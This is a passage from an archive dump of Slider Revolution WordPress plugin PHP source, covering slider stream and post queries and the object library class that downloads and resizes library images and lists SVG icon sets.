60; if(intval($max_posts) > $max_allowed) $max_posts = $max_allowed; switch($vimeo_type){ case 'user': $posts = $vimeo->get_vimeo_videos($vimeo_type, $this->get_param(array('source', 'vimeo', 'userName')), $max_posts); break; case 'channel': $posts = $vimeo->get_vimeo_videos($vimeo_type, $this->get_param(array('source', 'vimeo', 'channelName')), $max_posts); break; case 'group': $posts = $vimeo->get_vimeo_videos($vimeo_type, $this->get_param(array('source', 'vimeo', 'groupName')), $max_posts); break; case 'album': $posts = $vimeo->get_vimeo_videos($vimeo_type, $this->get_param(array('source', 'vimeo', 'albumId')), $max_posts); break; default: break; } $additions['vim_type'] = $this->get_param(array('source', 'vimeo', 'typeSource'), 'user'); break; default: global $rs_preview_mode; if($rs_preview_mode){ $admin = new RevSliderAdmin(); $admin->ajax_response_error(__('Make sure that the stream settings are properly selected in "Module General Options -> Content -> Stream Settings".', 'revslider')); }else{ $this->throw_error(__('Make sure that the stream settings are properly selected in "Module General Options -> Content -> Stream Settings".', 'revslider')); } break; } $max_posts = intval($max_posts); if($max_posts < 0) $max_posts *= -1; $posts = apply_filters('revslider_pre_mod_stream_data', $posts, $sourcetype, $this->id); $posts = (is_string($posts) || is_bool($posts)) ? array() : $posts; while(count($posts) > $max_posts || count($posts) > $max_allowed){ array_pop($posts); } $posts = apply_filters('revslider_post_mod_stream_data', $posts, $sourcetype, $this->id); if(empty($posts)){ global $rs_preview_mode; if($rs_preview_mode){ $admin = new RevSliderAdmin(); $admin->ajax_response_error(__('Make sure that the stream settings are properly selected in "Module General Options -> Content -> Stream Settings".', 'revslider')); }else{ $this->throw_error(__('Make sure that the stream settings are properly selected in "Module General Options -> Content -> Stream Settings".', 'revslider')); } } $i = 0; $tk = 0; foreach($posts as $data){ if(empty($data)) continue; //ignore empty entries, like from instagram $slide_template = $templates[$tk]; //advance the templates $tk++; $tk = ($tk == count($templates)) ? 0 : $tk; $_slides[$i] = new RevSliderSlide(); $_slides[$i]->init_by_stream_data($data, $slide_template, $this->id, $sourcetype, $additions); $i++; } $this->slides = $_slides; return $this->slides; } /** * get posts from categories (by the slider params). * @before: RevSliderSlider::getPostsFromCategories(); */ private function get_posts_by_categories($published = false){ $cat_ids = $this->get_param(array('source', 'post', 'category')); $data = $this->get_tax_by_cat_id($cat_ids); $post_types = $this->get_param(array('source', 'post', 'types'), 'post'); $sort_by = $this->get_param(array('source', 'post', 'sortBy'), 'ID'); $sort_dir = $this->get_param(array('source', 'post', 'sortDirection'), 'DESC'); $sort_dir = ($sort_by == 'menu_order') ? 'ASC' : $sort_dir; $source = $this->get_param('source'); $post = $this->get_val($source, 'post'); $max_posts = $this->get_val($post, 'maxPosts', 30); $max_posts = (empty($max_posts) || !is_numeric($max_posts)) ? -1 : $max_posts; $addition = array(); if($published == true){ $addition['post_status'] = 'publish'; } $slider_id = $this->get_id(); $post = $this->get_posts_by_category($slider_id, $data['cats'], $sort_by, $sort_dir, $max_posts, $post_types, $data['tax'], $addition, 'post'); return apply_filters('revslider_get_posts_by_categories', $post, $this); } /** * get products from categories (by the slider params). * @since: 5.1.0 * @before: RevSliderSlider::getProductsFromCategories(); */ private function get_products_from_categories($published = false){ $slider_id = $this->get_id(); $cat_ids = $this->get_param(array('source', 'woo', 'category')); $data = $this->get_tax_by_cat_id($cat_ids); $cat_ids = $data['cats']; $taxonomies = $data['tax']; $sort_by = $this->get_param(array('source', 'woo', 'sortBy'), 'ID'); $sort_dir = $this->get_param(array('source', 'woo', 'sortDirection'), 'DESC'); $sort_dir = ($sort_by == 'menu_order') ? 'ASC' : $sort_dir; $max_posts = $this->get_param(array('source', 'woo', 'maxProducts'), 30); $max_posts = (empty($max_posts) || !is_numeric($max_posts)) ? -1 : $max_posts; $post_types = $this->get_param(array('source', 'woo', 'types'), 'any'); $addition = array(); $this->is_woocommerce = true; if($published == true){ //Events integration $addition['post_status'] = 'publish'; } $addition = array_merge($addition, RevSliderWooCommerce::get_meta_query($this->get_params())); return $this->get_posts_by_category($slider_id, $cat_ids, $sort_by, $sort_dir, $max_posts, $post_types, $taxonomies, $addition); } /** * get setting - start with slide * @before: RevSliderSlider::getStartWithSlideSetting(); */ public function get_start_with_slide_setting(){ $slide = $this->get_param(array('general', 'firstSlide', 'alternativeFirstSlide'), 1); if(is_numeric($slide)){ $slide = (int)$slide - 1; if($slide < 0 || $slide >= count($this->slides)){ $slide = 0; } }else{ $slide = 0; } return $slide; } /** * get the Slider Overview Structure * @since: 6.0 */ public function get_overview_data($slider = false, $slides = false, $slide_ids = false){ //if we are pre 6.0.0, we have to create the data from the old data instead of the new format! $favorite = RevSliderGlobals::instance()->get('RevSliderFavorite'); $slider = ($slider == false || $slider instanceof RevSliderFolder) ? $this : $slider; $post60 = (version_compare($slider->get_setting('version', '1.0.0'), '6.0.0', '<')) ? false : true; $id = 0; $slides = ($slides !== false) ? $slides : $slider->get_slides(); $type = ($post60) ? $slider->get_type() : $this->get_type_pre60(); $image = ''; $sid = $slider->get_id(); $do_ids = ($slide_ids !== false) ? false : true; $addons_used = array(); if(!empty($slides)){ foreach($slides as $slide){ $id = $slide->get_id(); $image = ($post60) ? $slide->get_overview_image_attributes($type) : $slide->get_overview_image_attributes_pre60($type); break; } if($do_ids) $slide_ids = array(); foreach($slides as $slide){ if($do_ids) $slide_ids[] = $slide->get_id(); $addons = $slide->get_param('addOns'); if(!empty($addons)){ foreach($addons as $addon => $values){ if($this->_truefalse($this->get_val($values, 'enable', false)) === true){ if(!in_array($addon, $addons_used)) $addons_used[] = $addon; } } } } } $addons = $slider->get_param('addOns'); if(!empty($addons)){ foreach($addons as $addon => $values){ if($this->_truefalse($this->get_val($values, 'enable', false)) === true){ if(!in_array($addon, $addons_used)) $addons_used[] = $addon; } } } return array( 'id' => $sid, 'slide_id' => $id, 'slide_ids' => $slide_ids, 'title' => esc_html($slider->get_title()), 'alias' => $slider->get_alias(), 'source' => esc_html($type), 'type' => ($post60) ? $slider->get_param('type', 'standard') : $slider->get_param('slider-type', 'standard'), 'size' => ($post60) ? $slider->get_param('layouttype') : $slider->get_param('slider_type', 'fullwidth'), 'bg' => $image, 'addons' => $addons_used, 'premium' => $slider->get_param('pakps', false), 'tags' => $this->get_tags(), 'favorite' => $favorite->is_favorite('modules', $sid), 'children' => ($slider instanceof RevSliderFolder) ? $slider->get_children() : array(), 'folder' => $slider instanceof RevSliderFolder ); } /** * get posts from specific posts list * @before: RevSliderSlider::getPostsFromSpecificList(); */ public function get_specific_posts($gal_ids = array()){ $is_gal = false; $additional = array(); $slider_id = $this->get_id(); if(!empty($gal_ids) && $gal_ids[0] !== ''){ $posts = $gal_ids; $posts = apply_filters('revslider_set_posts_list_gal', $posts, $this->get_id()); $is_gal = true; }else{ if(isset($gal_ids[0])){ unset($gal_ids[0]); $posts = implode(',', $gal_ids); $additional['order'] = 'none'; $additional['orderby'] = 'post__in'; }else{ $posts = $this->get_param(array('source', 'post', 'list'), ''); $additional['order'] = $this->get_param(array('source', 'post', 'sortDirection'), 'DESC'); $additional['orderby'] = $this->get_param(array('source', 'post', 'sortBy'), ''); } $posts = apply_filters('revslider_set_posts_list', $posts, $this->get_id()); } return $this->get_posts_by_id($posts, $slider_id, $is_gal, $additional); } /** * get posts by coma saparated posts * @before: RevSliderFunctionsWP::getPostsByIDs(); */ public function get_posts_by_id($ids, $slider_id, $is_gal, $additional = array()){ $arr = (is_string($ids)) ? explode(',', $ids) : $ids; $query = array( 'ignore_sticky_posts' => 1, 'post_type' => 'any', 'post__in' => $arr ); if($is_gal){ $query['post_status'] = 'inherit'; $query['orderby'] = 'post__in'; } $query = array_merge($query, $additional); $query = apply_filters('revslider_get_posts', $query, $slider_id); $object = new WP_Query($query); $posts = $object->posts; foreach($posts as $key => $post){ $posts[$key] = (method_exists($post, 'to_array')) ? $post->to_array() : (array)$post; } return $posts; } /** * get posts by some category * could be multiple * @before: RevSliderFunctionsWP::getPostsByCategory() */ public function get_posts_by_category($slider_id, $cat_id, $sort_by = 'ID', $direction = 'DESC', $max_posts = -1, $post_types = 'any', $taxonomies = 'category', $addition = array(), $type = ''){ $a = apply_filters('revslider_get_posts_by_category', array('slider_id' => $slider_id, 'cat_id' => $cat_id, 'sort_by' => $sort_by, 'direction' => $direction, 'max_posts' => $max_posts, 'post_types' => $post_types, 'taxonomies' => $taxonomies, 'addition' => $addition, 'type' => $type), $this); $slider_id = $this->get_val($a, 'slider_id'); $cat_id = $this->get_val($a, 'cat_id'); $sort_by = $this->get_val($a, 'sort_by'); $direction = $this->get_val($a, 'direction'); $max_posts = $this->get_val($a, 'max_posts'); $post_types = $this->get_val($a, 'post_types'); $taxonomies = $this->get_val($a, 'taxonomies'); $addition = $this->get_val($a, 'addition'); $type = $this->get_val($a, 'type'); $tax = (!empty($taxonomies)) ? explode(',', $taxonomies) : array(); //get taxonomies array if(!is_array($post_types)){ if(strpos($post_types, ',') !== false){ $post_types = explode(',', $post_types); $post_types = (array_search('any', $post_types) !== false) ? 'any' : $post_types; } } $post_types = (empty($post_types)) ? 'any' : $post_types; $cat_id = (strpos($cat_id, ',') !== false) ? explode(',', $cat_id) : array($cat_id); $query = array( 'order' => $direction, 'ignore_sticky_posts' => 1, 'posts_per_page' => $max_posts, 'showposts' => $max_posts, 'post_type' => $post_types ); //add sort by (could be by meta) if(strpos($sort_by, 'meta_num_') === 0){ $query['orderby'] = 'meta_value_num'; $query['meta_key'] = str_replace('meta_num_', '', $sort_by); }elseif(strpos($sort_by, 'meta_') === 0){ $query['orderby'] = 'meta_value'; $query['meta_key'] = str_replace('meta_', '', $sort_by); }else{ $query['orderby'] = $sort_by; } if(!empty($taxonomies)){ $tax_query = array('relation' => 'OR'); //add taxomonies to the query $taxonomies = (strpos($taxonomies, ',') !== false) ? explode(',', $taxonomies) : array($taxonomies); foreach($taxonomies as $taxomony){ $tax_query[] = array('taxonomy' => $taxomony, 'field' => 'id', 'terms' => $cat_id); } $query['tax_query'] = $tax_query; } if(!empty($addition)){ $tax_query = $this->get_val($addition, 'tax_query', array()); if(!empty($tax_query)){ if(!isset($query['tax_query'])) $query['tax_query'] = array(); if(is_array($tax_query)){ foreach($tax_query as $tk => $tv){ if(is_numeric($tk)){ $query['tax_query'][] = $tv; }else{ $query['tax_query'][$tk] = $tv; } } } unset($addition['tax_query']); } $query = array_merge($query, $addition); } $query = apply_filters('revslider_get_posts', $query, $slider_id); $full_posts = new WP_Query($query); $posts = $full_posts->posts; if($this->is_woocommerce) $posts = RevSliderWooCommerce::filter_products_by_price($posts, $this->get_params()); if(!empty($posts)){ foreach($posts as $key => $post){ $arr_post = (method_exists($post, 'to_array')) ? $post->to_array() : (array)$post; $arr_post['categories'] = $this->get_post_categories($post, $tax); $posts[$key] = $arr_post; } } return $posts; } /** * get post categories by post ID and taxonomies * the post ID can be post object or array too * @before: RevSliderFunctionsWP::getPostCategories() */ public function get_post_categories($post_id, $tax){ if(!is_numeric($post_id)){ $post_id = (array)$post_id; $post_id = $post_id['ID']; } $cats = wp_get_post_terms($post_id, $tax); return $this->class_to_array($cats); } /** * get cats and taxanomies data from the category id's * @before: RevSliderFunctionsWP::getCatAndTaxData() */ public function get_tax_by_cat_id($cat_ids){ $ret = array('tax' => '', 'cats' => ''); $tax = array(); $cats = ''; $taxs = ''; if(is_string($cat_ids)){ $cat_ids = trim($cat_ids); $cat_ids = (empty($cat_ids)) ? array() : explode(',', $cat_ids); } if(!empty($cat_ids)){ foreach($cat_ids as $cat){ if(strpos($cat, 'option_disabled') === 0) continue; $pos = strrpos($cat, '_'); if($pos === false) $this->throw_error(__('Wrong category format', 'revslider')); $tax_name = substr($cat, 0, $pos); $tax[$tax_name] = $tax_name; $cats .= (!empty($cats)) ? ',' : ''; $cats .= substr($cat, $pos + 1, strlen($cat) - $pos - 1); //category id } $ret['cats'] = $cats; } if(!empty($tax)){ foreach($tax as $tax_name){ $taxs .= (!empty($taxs)) ? ','.$tax_name : $tax_name; } } $ret['tax'] = $taxs; return $ret; } /** * check for global settings lazy load and modify slider settings * only do these changes on outputting the slider * @since: 6.4.12 **/ public function modify_by_global_settings(){ global $rs_preview_mode; if(is_admin() && !$rs_preview_mode) return true; $gs = $this->get_global_settings(); $loazyload = $this->get_val($this->params, array('general', 'lazyLoad'), 'none'); if($loazyload === 'none'){ $forceLazyLoading = $this->get_val($gs, 'forceLazyLoading', 'smart'); $this->set_val($this->params, array('general', 'lazyLoad'), $forceLazyLoading); } $forceViewport = $this->get_val($gs, 'forceViewport', true); $forceViewportDist = $this->get_val($gs, 'forcedViewportDistance', '-200px'); $this->set_val($this->params, array('general', 'slideshow', 'globalViewPort'), $forceViewport); $this->set_val($this->params, array('general', 'slideshow', 'globalViewDist'), $forceViewportDist); } /** * convert assoc array to array * @before: RevSliderFunctions::assocToArray(); */ public static function assoc_to_array($assoc){ $arr = array(); foreach($assoc as $item) $arr[] = $item; return $arr; } } includes/basic-css.php000060400000027112151724235750010744 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderObjectLibrary extends RevSliderFunctions { private $library_list = 'library.php'; private $library_download = 'download.php'; private $object_thumb_path = '/revslider/objects/thumbs/'; private $object_orig_path = '/revslider/objects/'; private $customsvgpath = '/revslider/svg/objects/'; private $sizes = array('75', '50', '25', '10'); private $font_icon_paths; public $upload_dir; public $download_path; public $svg_remove_path; public $allowed_types = array('thumb', 'video', 'video_thumb'); public $allowed_categories = array('svgcustom'); const LIBRARY_VERSION = '2.0.0'; public function __construct(){ $this->upload_dir = wp_upload_dir(); $this->font_icon_paths = array( RS_PLUGIN_PATH.'public/assets/fonts/font-awesome/css/font-awesome.css', RS_PLUGIN_PATH.'public/assets/fonts/pe-icon-7-stroke/css/pe-icon-7-stroke.css' ); $this->font_icon_paths = apply_filters('revslider_object_library_icon_paths', $this->font_icon_paths); } /** * get available sizes * @since: 6.1.4 **/ public function get_sizes(){ return $this->sizes; } /** * get list of objects * @since: 5.3.0 */ public function _get_list($force = false){ $rslb = RevSliderGlobals::instance()->get('RevSliderLoadBalancer'); $last_check = get_option('revslider-library-check'); if($last_check == false){ //first time called $last_check = 1296001; update_option('revslider-library-check', time()); } // Get latest object list if(time() - $last_check > 1296000 || $force == true){ //30 days update_option('revslider-library-check', time()); $validated = get_option('revslider-valid', 'false'); $code = ($validated == 'false') ? '' : get_option('revslider-code', ''); $hash = get_option('revslider-library-hash', ''); $rattr = array( 'library_version' => urlencode(self::LIBRARY_VERSION), 'hash' => urlencode($hash), 'code' => urlencode($code), 'version' => urlencode(RS_REVISION), 'product' => urlencode(RS_PLUGIN_SLUG) ); $request = $rslb->call_url($this->library_list, $rattr, 'library'); if(!is_wp_error($request)){ if($response = maybe_unserialize($request['body'])){ if('actual' != $response){ $library = json_decode($response, true); if(is_array($library)){ if(isset($library['hash'])) update_option('revslider-library-hash', $library['hash']); update_option('rs-library', $library, false); } } } } } } /** * check if given URL is an object from object library * @since: 5.3.0 */ public function _is_object($url){ $url = $this->get_correct_size_url($url, 100, true); $is_object = false; $upload_url = $this->upload_dir['baseurl'] . $this->object_orig_path; $file_name = explode('/', $url); $file_name = $file_name[count($file_name) - 1]; if(strpos($url, $upload_url) !== false){ //check now if handle is inside of the array of objects $obj = $this->load_objects_with_svg(); $online = $obj['online']['objects']; foreach($online as $object){ if($object['handle'] == $file_name){ $is_object = true; break; } } } return $is_object; } /** * check if given URL is existing in the object library * @since: 5.3.0 */ public function _does_exist($url){ $url = str_replace($this->upload_dir['baseurl'] . $this->object_orig_path, '', $url); return file_exists($this->upload_dir['basedir'] . $this->object_orig_path . $url); } /** * check if certain object needs to be redownloaded * @since: 5.3.0 */ public function _check_object_exist($object_url){ //then check if it is existing if($this->_is_object($object_url)){ if(!$this->_does_exist($object_url)){ //if not, redownload if allowed $fnwe = explode('/', $object_url); $fnwe = $fnwe[count($fnwe) - 1]; $this->_get_object_thumb($fnwe, 'orig'); } } } /** * get certain object handle by the given ID * @since: 6.0 */ public function get_object_handle_by_id($id){ $handle = ''; $full = get_option('rs-library', array()); $objects = $this->get_val($full, 'objects', array()); if(!empty($objects)){ foreach($objects as $obj){ if($obj['id'] == $id){ $handle = $this->get_val($obj, 'handle'); break; } } } return $handle; } /** * get certain objects thumbnail, download if needed and if not, simply return path * @since: 5.3.0 */ public function _get_object_thumb($object_handle, $type, $download = false){ if(intval($object_handle) > 0){ $object_handle = $this->get_object_handle_by_id($object_handle); }else{ //check if we are original image and if not change it to original image $object_handle = $this->get_object_handle_by_downsized($object_handle); } if($type == 'video_full'){ $object_handle = str_replace('.jpg', '.mp4', $object_handle); } $error = ''; $path = (in_array($type, $this->allowed_types, true)) ? $this->object_thumb_path : $this->object_orig_path; $file = $this->upload_dir['basedir'] . $path . $object_handle; $url_file = $this->upload_dir['baseurl'] . $path . $object_handle; $validated = get_option('revslider-valid', 'false'); $_download = !is_file($file); //check if object thumb is already downloaded if($validated == 'false' && !in_array($type, $this->allowed_types, true)){ return array('error' => __('Plugin not activated', 'revslider')); } // Check folder permission and define file location if($_download && $download === true && wp_mkdir_p($this->upload_dir['basedir'].$path)){ $file = $this->upload_dir['basedir'] . $path . $object_handle; if(!is_file($file)){ $image_data = false; if($validated == 'false' && !in_array($type, $this->allowed_types, true)){ $error = __('Plugin not activated', 'revslider'); }else{ $rslb = RevSliderGlobals::instance()->get('RevSliderLoadBalancer'); $code = ($validated == 'false') ? '' : get_option('revslider-code', ''); $rattr = array( 'library_version' => urlencode(self::LIBRARY_VERSION), 'version' => urlencode(RS_REVISION), 'handle' => urlencode($object_handle), 'download' => urlencode($type), 'product' => urlencode(RS_PLUGIN_SLUG) ); $http_force = false; if(!in_array($type, $this->allowed_types, true)){ $rattr['code'] = urlencode($code); //push code only if needed $http_force = true; //force http } $image_data = $rslb->call_url($this->library_download, $rattr, 'library', $http_force); if(!is_wp_error($image_data) && isset($image_data['body']) && isset($image_data['response']) && isset($image_data['response']['code']) && $image_data['response']['code'] == '200'){ $image_data = $image_data['body']; //check body for errors in here $check = json_decode($image_data, true); if(!empty($check)){ if(isset($check['error'])){ $image_data = false; $error = $check['error']; } }elseif(trim($image_data) == ''){ $error = __('No data received', 'revslider'); } }else{ $image_data = false; $error = __('Error downloading object', 'revslider'); } } if($image_data !== false && $image_data !== ''){ @mkdir(dirname($file)); @file_put_contents($file, $image_data); if($type == 'video' || $type == 'video_thumb'){ }else{ $this->create_image_dimensions($object_handle); } }else{//could not connect to server $error = __('Error downloading object', 'revslider'); } }else{//use default image $error = __('Error downloading object', 'revslider'); } } if($error !== ''){ return array('error' => $error); } $width = false; $height = false; //get dimensions of image if(is_file($file)){ $imgsize = @getimagesize($file); if($imgsize !== false){ $width = $this->get_val($imgsize, '0'); $height = $this->get_val($imgsize, '1'); } }else{ $url_file = $object_handle; } return array('error' => false, 'url' => $url_file, 'width' => $width, 'height' => $height); } /** * gets the original image name if the given one is not the orig file * -75-50x100 * -75 **/ public function get_object_handle_by_downsized($object_handle){ $object_handle = basename($object_handle); $tmp = explode('.', $object_handle); if(count($tmp) > 1){ $_tmp = explode('-', $tmp[0]); if(count($_tmp) > 1){ //check last if it has an x or is an integeter like 50 $e = array_pop($_tmp); $x = false; if(strpos($e, 'x') !== false){ $_e = str_replace('x', '', $e); $x = (intval($_e) > 0) ? true : $x; } $object_handle = ($x === true || in_array($e, $this->sizes)) ? str_replace('-'.$e, '', $object_handle): $object_handle; //check again last if it is an integeter like 50 $e = array_pop($_tmp); $object_handle = (in_array($e, $this->sizes)) ? str_replace('-'.$e, '', $object_handle) : $object_handle; } } return $object_handle; } /** * import object layer from ThemePunch Server * @since: 6.0.0 */ public function _get_object_layers($object_id){ $rslb = RevSliderGlobals::instance()->get('RevSliderLoadBalancer'); $error = ''; if(intval($object_id) > 0){ $object_handle = $this->get_object_handle_by_id($object_id); }else{ $error = __('Error downloading layers', 'revslider'); return array('error' => $error); } $layers_data = false; $validated = get_option('revslider-valid', 'false'); if($validated == 'false'){ $error = __('Plugin not activated', 'revslider'); }else{ $code = ($validated == 'false') ? '' : get_option('revslider-code', ''); $rattr = array( 'code' => urlencode($code), 'library_version' => urlencode(self::LIBRARY_VERSION), 'version' => urlencode(RS_REVISION), 'handle' => urlencode($object_handle), 'download' => urlencode('layers'), 'product' => urlencode(RS_PLUGIN_SLUG) ); $layers_data = $rslb->call_url($this->library_download, $rattr, 'library'); if(!is_wp_error($layers_data) && isset($layers_data['body']) && isset($layers_data['response']) && isset($layers_data['response']['code']) && $layers_data['response']['code'] == '200'){ $layers_data = $layers_data['body']; //check body for errors in here $check = json_decode($layers_data, true); if(!empty($check)){ if(isset($check['error'])){ $layers_data = false; $error = $check['error']; } }elseif(trim($layers_data) == ''){ $error = __('No data received', 'revslider'); } }else{ $layers_data = false; $error = __('Error downloading layers data', 'revslider'); } } //could not connect to server $error = ($layers_data === false && $error == '') ? __('Error downloading layers data', 'revslider') : $error; if($error !== '') return array('error' => $error); $data = json_decode($layers_data, true); $data = (empty($data)) ? json_decode(stripslashes($layers_data), true) : $data; if(!empty($data)){ foreach($data as $k => $v){ $svg_source = $this->get_val($data[$k], array('svg', 'source')); if(!empty($svg_source)){ $t = explode('/wp-content/plugins/revslider/', $svg_source); if(is_array($t) && count($t) == 2){ $this->set_val($data, array($k, 'svg', 'source'), RS_PLUGIN_URL.$t[1]); } } } } return array('error' => false, 'data' => $data); } /** * import object to media library * @since: 5.3.0 */ public function _import_object($file_path){ $obj_handle = basename($file_path); $file = $this->upload_dir['basedir'] . $this->object_orig_path . $obj_handle; $url_file = $this->upload_dir['baseurl'] . $this->object_orig_path . $obj_handle; $image_handle = @fopen($file_path, 'r'); if($image_handle != false){ $image_data = stream_get_contents($image_handle); if($image_data !== false){ @mkdir(dirname($file)); @file_put_contents($file, $image_data); $this->create_image_dimensions($obj_handle); return array('path' => $url_file); } } return false; } public function load_objects_with_svg(){ $obj = array('svg' => $this->get_svg_sets_full()); $online = get_option('rs-library', array()); if(!empty($online)){ $obj['online'] = $online; } return $obj; } public function get_svg_categories(){ $svgs = $this->get_svg_sets_url(); $svg_cat = array(); if(!empty($svgs)){ foreach($svgs as $cat => $svg){ if(trim($cat) !== '' && !isset($svg_cat[$cat])) $svg_cat[$cat] = ucwords($cat); } } return $svg_cat; } public function load_objects($type = 'all'){ //type 1 = object //type 2 = image //type 3 = video switch($type){ case '1': $ftype = 'objects'; break; case '2': $ftype = 'images'; break; case '3'; $ftype = 'videos'; break; case '4'; $ftype = 'layer'; break; default: $ftype = 'images'; break; } $full = get_option('rs-library', array()); $objects = $this->get_val($full, 'objects', array()); if(!empty($objects)){ $favorite = RevSliderGlobals::instance()->get('RevSliderFavorite');; foreach($objects as $key => $obj){ $t = 'thumb'; if($type !== 'all'){ if($type !== $obj['type']){ unset($objects[$key]); continue; } } $t = ($obj['type'] == '3') ? 'video' : $t; $objects[$key]['title'] = $this->get_val($obj, 'name'); unset($objects[$key]['name']); $img = $this->get_val($obj, 'handle'); $objects[$key]['img'] = $this->get_val($obj, 'handle'); if($type == '3' || $type == '4'){ $objects[$key]['video_thumb'] = array( 'error' => false, 'url' => $this->get_val($obj, 'video'), 'width' => false, 'height' => false ); } $objects[$key]['orig'] = $this->get_val($img, 'orig', ''); unset($objects[$key]['type']); $tags = $this->get_val($obj, 'tags', array()); $new_tags = array(); if(!empty($tags)){ foreach($tags as $tag){ $new_tags[] = $this->get_val($tag, 'handle'); } } $objects[$key]['tags'] = $new_tags; $objects[$key]['favorite'] = $favorite->is_favorite($ftype, $key); } } return $objects; } public function get_objects_categories($type = 'all'){ //type 1 = object //type 2 = image $full = get_option('rs-library', array()); $tags_raw = $this->get_val($full, 'tags'); $objects = $this->get_val($full, 'objects', array()); $tags = array(); if(!empty($objects)){ foreach($objects as $key => $obj){ if($type !== 'all'){ if($type !== $obj['type']){ continue; } } $new_tags = $this->get_val($obj, 'tags', array()); if(!empty($new_tags)){ foreach($new_tags as $tag){ $tag_handle = $this->get_val($tag, 'handle'); if(!isset($tags[$tag_handle])){ $name = $tag_handle; if(!empty($tags_raw)){ foreach($tags_raw as $tags_raw_data){ if($this->get_val($tags_raw_data, 'handle') == $tag_handle){ $name = $this->get_val($tags_raw_data, 'name'); break; } } } $tags[$tag_handle] = $name; } } } } } return $tags; } public function create_image_dimensions($handle, $force = false){ $img_editor_test = wp_image_editor_supports(array('methods' => array('resize', 'save'))); if($img_editor_test !== true){ return false; } $upload_directory = $this->upload_dir['basedir'] . $this->object_orig_path; $image_path = $upload_directory.$handle; $file_name_we = explode('/', $image_path); $file_name_we = $file_name_we[count($file_name_we) - 1]; $file_name_woe = explode('.', $file_name_we); $file_ending = $file_name_woe[count($file_name_woe) - 1]; $file_name_woe = $file_name_woe[count($file_name_woe) - 2]; $image = wp_get_image_editor($image_path); if(is_file($image_path)){ $imgsize = getimagesize($image_path); }else{ $imgsize = false; } if(!is_wp_error($image) && $imgsize !== false) { $orig_width = $this->get_val($imgsize, '0'); $orig_height = $this->get_val($imgsize, '1'); foreach($this->sizes as $size){ $modified_file_name_without_ending = $file_name_woe . '-' . $size; if(!file_exists($upload_directory.$modified_file_name_without_ending.'.'.$file_ending) || $force){ $width = round($orig_width / 100 * $size, 0); $height = round($orig_height / 100 * $size, 0); $image->resize($width, $height); $image->save($upload_directory.$modified_file_name_without_ending.'.'.$file_ending); } } }else{ //cant create images return false; } return true; } /** * Returns an URL if it is an object library image, depending on the choosen width/height */ public function get_correct_size_url($image_id, $size, $full = false){ if(intval($image_id) > 0){ $object_handle = $this->get_object_handle_by_id($image_id); }else{ $object_handle = $this->get_object_handle_by_downsized($image_id); } $image_path = $this->upload_dir['basedir'] . $this->object_orig_path . $object_handle; $_image_path = $this->upload_dir['basedir'] . $this->object_orig_path; $image_url = $this->upload_dir['baseurl'] . $this->object_orig_path; if(!file_exists($image_path)) return ''; if(!in_array($size, $this->sizes) && $full === false) return ''; if($full === false){ $file_split = explode('.', $object_handle); if(count($file_split) === 2 && file_exists($_image_path.$file_split[0].'-'.$size.'.'.$file_split[1])){ $image_url .= $file_split[0].'-'.$size.'.'.$file_split[1]; }else{ $image_url .= $object_handle; } }else{ $image_url .= $object_handle; } return $image_url; } /** * get list of favorites * @since: 5.3.0 */ public function get_favorites(){ return get_option('rs_obj_favorites', array()); } /** * save list of favorites * @since: 5.3.0 */ public function save_favorites($favourites){ update_option('rs_obj_favorites', $favourites); } /** * get all the svg url sets used in Slider Revolution * @since: 5.1.7 * @before: RevSliderBase::get_svg_sets_url(); **/ public function get_svg_sets_url(){ $svg_sets = array(); $path = RS_PLUGIN_PATH . 'public/assets/assets/svg/'; $url = RS_PLUGIN_URL . 'public/assets/assets/svg/'; if(!file_exists($path.'action/ic_3d_rotation_24px.svg')){ //the path needs to be changed to the uploads folder then $path = $this->upload_dir['basedir'].'/revslider/assets/svg/'; $url = $this->upload_dir['baseurl'].'/revslider/assets/svg/'; } //search in each folder that is in $path for subfolder $svg_sets['Actions'] = array('path' => $path.'action/', 'url' => $url.'action/'); $svg_sets['Alerts'] = array('path' => $path.'alert/', 'url' => $url.'alert/'); $svg_sets['AV'] = array('path' => $path.'av/', 'url' => $url.'av/'); $svg_sets['Communication'] = array('path' => $path.'communication/', 'url' => $url.'communication/'); $svg_sets['Content'] = array('path' => $path.'content/', 'url' => $url.'content/'); $svg_sets['Device'] = array('path' => $path.'device/', 'url' => $url.'device/'); $svg_sets['Editor'] = array('path' => $path.'editor/', 'url' => $url.'editor/'); $svg_sets['File'] = array('path' => $path.'file/', 'url' => $url.'file/'); $svg_sets['Hardware'] = array('path' => $path.'hardware/', 'url' => $url.'hardware/'); $svg_sets['Images'] = array('path' => $path.'image/', 'url' => $url.'image/'); $svg_sets['Maps'] = array('path' => $path.'maps/', 'url' => $url.'maps/'); $svg_sets['Navigation'] = array('path' => $path.'navigation/', 'url' => $url.'navigation/'); $svg_sets['Notifications'] = array('path' => $path.'notification/', 'url' => $url.'notification/'); $svg_sets['Places'] = array('path' => $path.'places/', 'url' => $url.'places/'); $svg_sets['Social'] = array('path' => $path.'social/', 'url' => $url.'social/'); $svg_sets['Toggle'] = array('path' => $path.'toggle/', 'url' => $url.'toggle/'); return apply_filters('revslider_get_svg_sets', $svg_sets); } /** * get all the svg files for given sets used in Slider Revolution * @since: 5.1.7 * @before: RevSliderBase::get_svg_sets_full(); **/ public function get_svg_sets_full(){ $favorite = RevSliderGlobals::instance()->get('RevSliderFavorite');; $svg_sets = $this->get_svg_sets_url(); $svg = array(); $id = 1; if(!empty($svg_sets)){ foreach($svg_sets as $category => $values){ if($dir = opendir($values['path'])) { while(false !== ($file = readdir($dir))){ if($file != '.' && $file != '..') { $filetype = pathinfo($file); if(isset($filetype['extension']) && $filetype['extension'] == 'svg'){ $title = substr($file, 3); $title = str_replace('_', ' ', $title); $title = str_replace(array('px.svg', '.svg'), '', $title); $title = explode(' ', $title); $le = array_pop($title); if(intval($le) == 0){ $title[] = $le; } $title = implode(' ', $title); $svg[] = array( 'id' => $id, 'handle' => $file, 'title' => ucwords($title), 'tags' => array($category), 'img' => $values['url'].$file, 'favorite' => $favorite->is_favorite('svgs', $file) ); $id++; } } } } } } return apply_filters('revslider_get_svg_sets_full', $svg); } /** * get all custom svgs **/ public function get_custom_svgs(){ $favorite = RevSliderGlobals::instance()->get('RevSliderFavorite');; $library = get_option('rs-custom-library', array()); $svgcustom = array(); if(!empty($library)){ foreach($library as $category => $values){ if($category !== 'svgcustom') continue; if(!isset($values['items']) || empty($values['items'])) continue; foreach($values['items'] as $item){ $id = $this->get_val($item, 'id'); $item['favorite'] = $favorite->is_favorite('svgcustom', $id); $svgcustom[] = $item; } } } return 